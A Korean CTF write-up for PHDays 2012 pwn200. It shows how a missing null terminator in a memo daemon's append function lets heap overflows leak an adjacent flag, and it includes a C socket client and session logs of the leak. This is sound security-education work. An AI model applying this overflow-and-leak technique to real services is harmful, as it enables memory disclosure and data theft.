본문 바로가기

Games/CTF

PHDays 2012 pwn200


phdays_pwn200.pdf



문제로 서버 데몬의 접속주소와 데몬의 스트립 바이너리가 주어진다.


Task:

    Memory can store hundreds of messages. But it may contains more interesting... Find the "flag" or something!

    ctf.phdays.com:14455


일단 접속해보면 다음과 같은 메시지가 날라온다


Welcome 
1 - save message
2 - show message
3 - append message
4 - rewrite message 
5 - delete message


1~5중 하나를 선택하면 해당 기능을 수행할수 있다. 일종의 메모장 프로그램이다.

메시지를 작성하면 1번 메시지로 저장되었다고 하고, 또 작성하면 2번 메시지로 저장...

이런식으로 빈칸에 차례로 메시지를 저장한다.

2번 메뉴의 경우 보고싶은 메시지의 번호를 입력하면 메시지를 출력해주고

3번은 저장했던 메시지의 번호를 입력하면 뒤에 추가로 붙여넣을 수 있다

4번은 메시지 번호를 입력하면 새로 작성하게 해주고

5번은 메시지 번호를 받고 삭제한다.


IDA 디컴파일 결과를 분석한 결과 데몬의 초기화 부분에서

메시지를 저장할 슬롯의 포인터 100개가 BSS 에 할당되고

메시지 내용은 HEAP 에 malloc 으로 저장되서 그 포인터가 배열들로 관리된다는 것을

알 수 있었다, 그리고 초기화 루틴에서 아래와같이 아스키코드들을 가지고

메시지 슬롯의 50% 를 랜덤한 쓰레기 값들로 채워넣는것을 알 수 있었다.


이부분은 /dev/random 을 seed 로 하기때문에 exploit 이 불가능해보였다


슬롯의 절반에 쓰레기문자열들을 채워넣는 작업을 한다음에는 다음과 같이

flag 라는 파일을 열어서 힙에 써넣는다.  즉, 이부분을 읽는것이 목표다.

서버측 glibc malloc 버전을 몰라서 확실히는모르지만 일반적인 beans 알고리즘을

쓴다고 가정할때 flag 는 100번째 슬롯 바로 뒤의 heap 공간에 쓰여있을 것이라

추정이 가능하다.


스트립 바이너리라 분석이 어려워 이이상 진행을 못하고 있었는데 

서울대 Guardian 최재승 님이 다음과 같은 취약점을 찾아주었고 

그것을 이용해서 재수좋게 flag 를 찾았다.


n 이 append 하고자 하는 메시지의 길이이다


위의 코드는 메뉴 3의 append message 를 수행하는 함수의 일부인데 기존 메시지의

마지막에 최대 256바이트까지 메시지를 append 시킬수 있게 되어있어서

HEAP 상의 메시지 슬롯에서 오버플로우가 일어날 수 있다.

그런데 분석해보면 1번 메뉴를 통해 메시지를 저장할때 malloc 으로 256 바이트의 힙 공간을 

할당해놓고 마지막에 CR/LF 문자가 들어가고 null terminate 된다.


그런데 중요한점은 위의 append messge 수행부분에서 append 가 된 메시지의 마지막에

CR/LF 가 존재하는 경우만 null terminate 시킨다는 점이다. 

따라서 flag 와 가까운 뒤쪽 슬롯에서 append 를 통해 힙을 overflow 시키고

마지막을 CR/LF 로 끝내지 않는다면, 이 메시지가 flag 부분까지 닿게 되면

마지막 slot 의 내용을 읽을때 flag 부분이 같이 읽히게 될 것이다.

메시지를 읽을대 null terminate 까지 읽기 때문에 다음과 같은 상황에서

[Message][null....][Flag]

null 이 다른 무언가로 모두 채워지면 Flag 부분까지 읽히게 되는 것이다.


그런데 테스트해본 결과 왜인지 잘 기억이 안나지만 쓰레기값이 들어있는 Slot 에서는

계속해서 append 를 시킬 수가 없었다.  그래서 flag 에 가까운

뒤쪽의 빈 Slot 을 먼저 찾고(노가다를 통해..) 여기서부터 계속해서 조금씩 

CR/LF 로 끝나지 않는 메시지를 append 시켜나갔다.

이 과정을 수행하기 위한 프로그램을 아래와같이 C 로 만들었다.


#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "sys/socket.h"
#include "sys/types.h"
#include "netinet/in.h"

int my_recv(int sd, char* p, unsigned int len){
	// recv a packet segment
	unsigned int ssize=0;
	int d;
	while(ssize < len){			
		if( (d=recv( sd, p+ssize, len - ssize, 0))<=0){
			return -1;
		}
		ssize += d;			
	}
	return ssize;
}

int main(int argc, char *argv[]){

	char buf[256];

	memset(buf, 0, 256);

	int sockfd;
	struct sockaddr_in servaddr;
	sockfd=socket(AF_INET,SOCK_STREAM,0);
	bzero(&servaddr,sizeof(servaddr));
	servaddr.sin_family=AF_INET;
	inet_pton(AF_INET,"195.133.10.151",&servaddr.sin_addr);
	servaddr.sin_port=htons(14455);
	if(connect(sockfd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){
		printf("connected.\n");
	}
	else{
		printf("cant connect\n");
	}

	char rbuf[4096];
	int cnt = 99;
	int n=0;
	while(1){
		memset(rbuf, 0, 4096);

		n = recv(sockfd, rbuf, 4096, 0);
		printf("%s\n", rbuf);

		printf("2\n");
		send(sockfd, "2\n", 2, 0);

		memset(rbuf, 0,4096);
		n = recv(sockfd, rbuf, 4096, 0);
		printf("%s\n", rbuf, n);

		sprintf(buf, "%d", cnt);
		printf("%s\n", buf);	
		send(sockfd, buf, strlen(buf), 0);
		
		memset(rbuf, 0, 4096);
		n = recv(sockfd, rbuf, 4096, 0);
		printf("%s\n", rbuf);
		if( !strncmp(rbuf, "Your", 4) ){
			printf("OK: %s\n", buf);

			while(1){
				memset(buf, 0, 256);
			
				scanf("%s", buf);
				send(sockfd, buf, strlen(buf), 0);
			
				while( my_recv(sockfd, rbuf, 1) ){
					printf("%c", rbuf[0]);
					if(rbuf[0]==0x0a) break;
				}
				
			}

			break;
		}
		cnt--;
	}
	return 0;
}


서버 데몬과의 TCP 통신부분을 완전하게 만들어야 했다(수신 버퍼 등에 대한 처리등)

그리고 서버데몬의 응답이 상당히 느리기때문에 작업에 시간이 좀 많이 걸렸지만

결과적으로 마지막 slot 부터 계속 조금씩 메시지를 append 시켜나가다보니

아래와같이 마지막에 flag 메시지부분이 붙어온 메시지를 읽을 수 있었다.



Welcome

1 - save message

2 - show message

3 - append message

4 - rewrite message

5 - delete message

3

Input your message ID

19

Input string to append in message

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaa


Success

AWelcome

1 - save message

2 - show message

3 - append message

4 - rewrite message

5 - delete message

2

Input your message ID

19

Your message:

1Y7rqociim6OeYreWLj9XYSIto6ti8l8RjwYnnGUBSiMpf4A8fSLLjzVQk3IhdICEAz19wmBDPHBVAmXBrYOz1bZpjzQE1g7WO1RPjkgM7tGPYm

mP885NcKqGwWi3Kivj8M2jpoppfBLLjpxgpjyI8ud9Pc4kEzAQpTZzF3T3JfF7n9fAkcohWxjrHfxpU5SKEcrujIw8BG7gHfN7O7gekIyqXmszbNwM

fi8RGwWTKWZnGObfOGk2dv27Bylf5zyoEySouuGNPnhgqGROzXEYpbT7EVsmpjISvdCTxWc62Da4lHTSE8aSaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafg5PcrwnnnzqrMky

VQMWX2p8xOu3n2DFoAfRHg4yFfiLumB32HxGORD5yXBYGWaBtmzZGg1xR9yPQ3TxON9pcFtQn38yvo3EOhdhRtS9rJSYSuMd8NvzEEC3

bC8C74gIpWVGIQHDikoX



Welcome

1 - save message

2 - show message

3 - append message

4 - rewrite message

5 - delete message

3

Input your message ID

19

Input string to append in message

rrrrrrrrrrrrrrrrrrrrrrrr


....


Success

Welcome

1 - save message

2 - show message

3 - append message

4 - rewrite message

5 - delete message

2

Input your message ID

19

Your message:

Lj9XYSIto6ti8l8RjwYnnGUBSiMpf4A8fSLLjzVQk3IhdICEAz19wmBDPHBVAmXBrYOz1bZpjzQE1g7WO1RPjkgM7tGPYmmP885NcKqGwWi3

Kivj8M2jpoppfBLLjpxgpjyI8ud9Pc4kEzAQpTZzF3T3JfF7n9fAkcohWxjrHfxpU5SKEcrujIw8BG7gHfN7O7gekIyqXmszbNwMfi8RGwWTKWZn

GObfOGk2dv27Bylf5zyoEySouuGNPnhgqGROzXEYpbT7EVsmpjISvdCTxWc62Da4lHTSE8aSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafg5PcrwnnnzqrMkyVQMWX2p8x

Ou3n2DFoAfRHg4yFfiLumB32HxGORD5yXBYGWaBtmzZGg1xR9yPQ3TxON9pcFtQn38yvo3EOhdhRtS9rJSYSuMd8NvzEEC3bC8C74gIpW

VGIQHDikoThis_is_flag_"ca0cfeadcfd831372af30c0967daaba8"




'Games > CTF' 카테고리의 다른 글

DEFCON20 PWN100  (0) 2013.03.19
Forbidden BITS x96  (0) 2013.03.19
CODEGATE2013 BIN200  (1) 2013.03.05
PHDays 2012 Misc400  (0) 2013.01.23
PHDays 2012 Realword 200  (0) 2013.01.23